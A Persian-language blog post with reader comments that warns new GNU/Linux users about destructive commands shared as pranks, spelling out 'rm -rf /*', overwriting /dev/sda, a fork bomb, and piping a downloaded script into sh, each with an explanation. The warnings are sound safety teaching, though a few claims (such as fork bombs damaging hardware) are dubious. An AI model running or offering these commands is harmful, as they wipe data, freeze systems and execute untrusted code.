یکی از دلایلی که گنو/لینوکس خوبه! اینه که شما هستید که به سیستم دستور میدید، این سیستم نیست که شما رو محدود میکنه… اما همین قدرتی که به کاربر داده میشه، اگر کاربر ندونه داره چکار میکنه، میتونه باعث آسیبش بشه. این بدی گنو/لینوکس یا خطرناک بودن اون نیست، فقط کاربر باید دقت کنه، و بدونه داره چکار میکنه.
خیلی وقتا توی گروهها و فرومها، افراد خوشمزه و بیکاری پیدا میشن که یک سری دستور مینویسن، شاید از دید خودشون شوخی باشه، ولی خیلی از کاربرای تازهکار بدون توجه به این مسائل دستورات رو اجرا میکنن و کار دست خودشون میدن. و وقتی اتفاق بد افتاد، دیگه نمیشه کاری کرد… و اون کاربر ممکنه از این جامعه زده بشه.
پس توصیه افراد جامعه گنو/لینوکس اینه که خوشمزگی رو بذارن کنار! 🙂 و توصیه به تازهکارها هم نکات زیر هستن.
نکات مهمی که همیشه باید در نظر داشته باشد:
۱. هرگز دستوری رو که نمیدونید چکار میکنه رو از جایی کپی و در ترمینال پیست نکنید.
۲. حواستون به دستوراتی که برای اجرا به دسترسی ریشه (root) نیاز دارن باشه.
برای اینکه ببینید دستوری چکار میکنه، چند راه وجود داره:
۱. از کسی که بهش اعتماد دارید بپرسید که آیا این دستور مشکلی پیش نمیاره؟
۲. معمولا همهی دستورات، یک راهنما دارند که با استفاده از کلمه man میتونید بهش دسترسی پیدا کنید و توضیحات مربوط به کارکرد دستور و کاری که سوئیچهای مختلفش انجام میدن رو مطالعه کنید. مثلا man rm
۳. گاهی دستورات راهنما ندارند، در این صورت میتونید از سوئیچهای -h یا –help استفاده کنید. مثلا rm –help
چند مثال
اینجا چند تا مثال براتون آوردم که هیچوقت نباید استفاده کنیدشون. این فیلمها روی ماشین مجازی گرفته شده تا نتیجهی کار رو ببینید.
۱. یکی از معروفترین این دستورات
sudo rm -rf /*
دستور rm برای پاک کردن فایل در گنو/لینوکس استفاده میشه.
وقتی این دستور با سوئیچ r (مخفف recursive) همراه میشه، به صورت تو در تو عمل میکنه، یعنی اگر من یک فولدر دارم که درونش ۲ فولدر دیگه وجود داره، اگر با این سوئیچ فولدر اول رو پاک کنم، فولدرهای درونی هم پاک بشن.
این دستور به یک دستور مخربه، یعنی فایل رو پاک میکنه، برای همین، برای جلوگیری از اینکه کاربر به اشتباه چیزی رو پاک کنه، دونه دونه از شما میپرسه که آیا مطمئنید که میخواید این فایل پاک بشه؟ اما اگر سوئیچ f (مخفف force) رو با این دستور همراه کنیم، دیگه به اجبار و بدون پرسش فایلها رو پاک میکنه.
خب میبینید که */ به عنوان فولدر هدف به این دستور داده شده، / فولدر ریشه در سیستمهای شبهه یونیکس، از جمله گنو/لینوکس هست، و آدرس همهی فایلها از اینجا شروع میشن… و این یعنی به دستور rm گفتیم از ریشه، همه چیز رو به صورت تو در تو پاک کنه و سوال هم نپرسه!
اما برای این کار ما باید مجوز ریشه (root) داشته باشیم، و کلمه sudo برای همین گذاشته شد. در نتیجه از ما رمزی خواسته میشه تا از هویت ما اطمینان حاصل بشه.
خب ما اینا رو میتونستیم از روی man یا help دستور rm متوجه بشیم.
-f, --force ignore nonexistent files and arguments, never prompt -r, -R, --recursive remove directories and their contents recursively
۲. هیچوقت هیچچیز رو به /dev/sda کپی نکنید.
sudo cp /dev/zero /dev/sda
دستور cp برای کپی کردن فایل استفاده میشه و به نظر نمیاد مخرب باشه.
در سیستمهای شبهه یونیکسی همه چیز فایل در نظر گرفته میشه، مثلا یک فایل در سیستم وجود داره که کارت صدا رو نمایندگی میکنه، یک فایل که هارد دیسک رو، یک فایل که سیدیرام رو، و به همین ترتیب، حال اگر چیزی رو به کل هارد کپی کنیم چی میشه؟ خب اطلاعات موجود در هارد از بین میرن، به همین سادگی 🙂
۳. هنگام استفاده از دستور dd دقت کنید.
دستور dd برای کپی کردن از دیسکها استفاده میشه… یکی از کاربرداش مثلا اینه که یک فایل iso رو به یک فلش (که به صورت یک فایل در نظر گرفته میشه) کپی کرد و یک فلش بوتایبل ساخت.
بنابراین dd هم مثل cp به خودی خود دستور مخربی نیست، اما اگر کاربر نداند که چکار میکند میتواند مخرب باشد.
اگر اشتباهی چیزی رو به هاردتون dd کنید، اتفاقات بدی خواهد افتاد 🙂
۴. فورک بمب
:(){ :|:& };:
ظاهر عجیبی داره :)) ولی خب سادست.
ما اینجا یه تابع داریم به اسم : که آرگومانی نمیگیره، و در بدنهی خودش، خودش رو به صورت بازگشتی صدا میزنه و خروجی خودش رو به خودش pipe میکنه! نتیجهی این عمل اینه که فراخوانی تابع به صورت تصاعدی زیاد میشه و هیچوقت تموم نمیشه، که این باعث میشه رم و cpu شما فقط درگیر این کد بشه! و در نهایت سیستم هنگ کنه، یا مشکلات سختافزاری برای رم یا cpu پیش بیاد.
البته در سیستمهای جدید، و در توزیعهای به روز، از این مشکل جلوگیری میشه، و اینجا هم در ماشین مجازی ویژگی PAE/NX خاموش بود تا شما بتونید ببینید چه اتفاقی میافته. اما به هرحال خوبه که از این دستور و هر دستور دیگهای که نمیدونید چیه دوری کنید، حتی برای fun هم اجرا نکنید چیزی رو که نمیدونید چکار ممکنه بکنه!
۵. دستوراتی که اسکریپتی رو از اینترنت دانلود و اجرا میکنند!
wget http://an-untrusted-url -O- | sh
این دستور یه script رو دانلود میکنه و مستقیما با sh اجراش میکنه! بدون اینکه شما چیزی رو ببینید! به صورت کلی، مواظب این دستورات باشید، هر چیزی رو در هر سایتی دیدید به ترمینال کپی نکنید و enter نزنید!
توصیهای که برای این دست از دستورات میشه اینه که url رو در مرورگر باز کنید و محتویات فایل رو ببینید. اگر مشکلی باهاش نداشتید اونوقت اجراش کنید!
شاد و پیروز باشید ?
خیلی عالی. من خودم انقد زدم سیستمو داغون کردم تا لینوکسو یاد گرفتم : )
درود به شما که این راهنمای مفید رو قرار دادید
پیروز و موفق باشید
من یدفعه یدونه . جا گذاشتم توی */. sudo rm -fr شد دستور مخرب و تا اومدم کنسلش کنم تا etc همرو پاک کرد و بدبخت شدم
راه جلوگیری نداره ؟ ببندیم یکسری رو که با روت هم اجرا نشن حتی
من سوتی تایپی زیاد دارم
نه راهی نداره، باید دقت کنید چی مینویسید… وقتی f میزنید توی سوییچها یعنی هیچی نپرسه… و نمیپرسه
مرسی علی مولایی عزیز
من داشتم مطلب رو مرور میکردم که به مورد شمارهٔ ۴ بر خوردم و واقعا انتظار یک چنین چیزی رو نداشتم!
البته اگر شما دستور yes رو داخل ترمینال وارد بکنید بیدرنگ شروع به خروجی دادن رشتههایی با محتوای “y” میکنه و هیچ توقفی هم براش وجود نداره! نمیدونم چقدر میتونه سخت افزار رو درگیر کنه یا اینکه اصن اینکارو میکنه یا نه ولی جالبه D:
۳>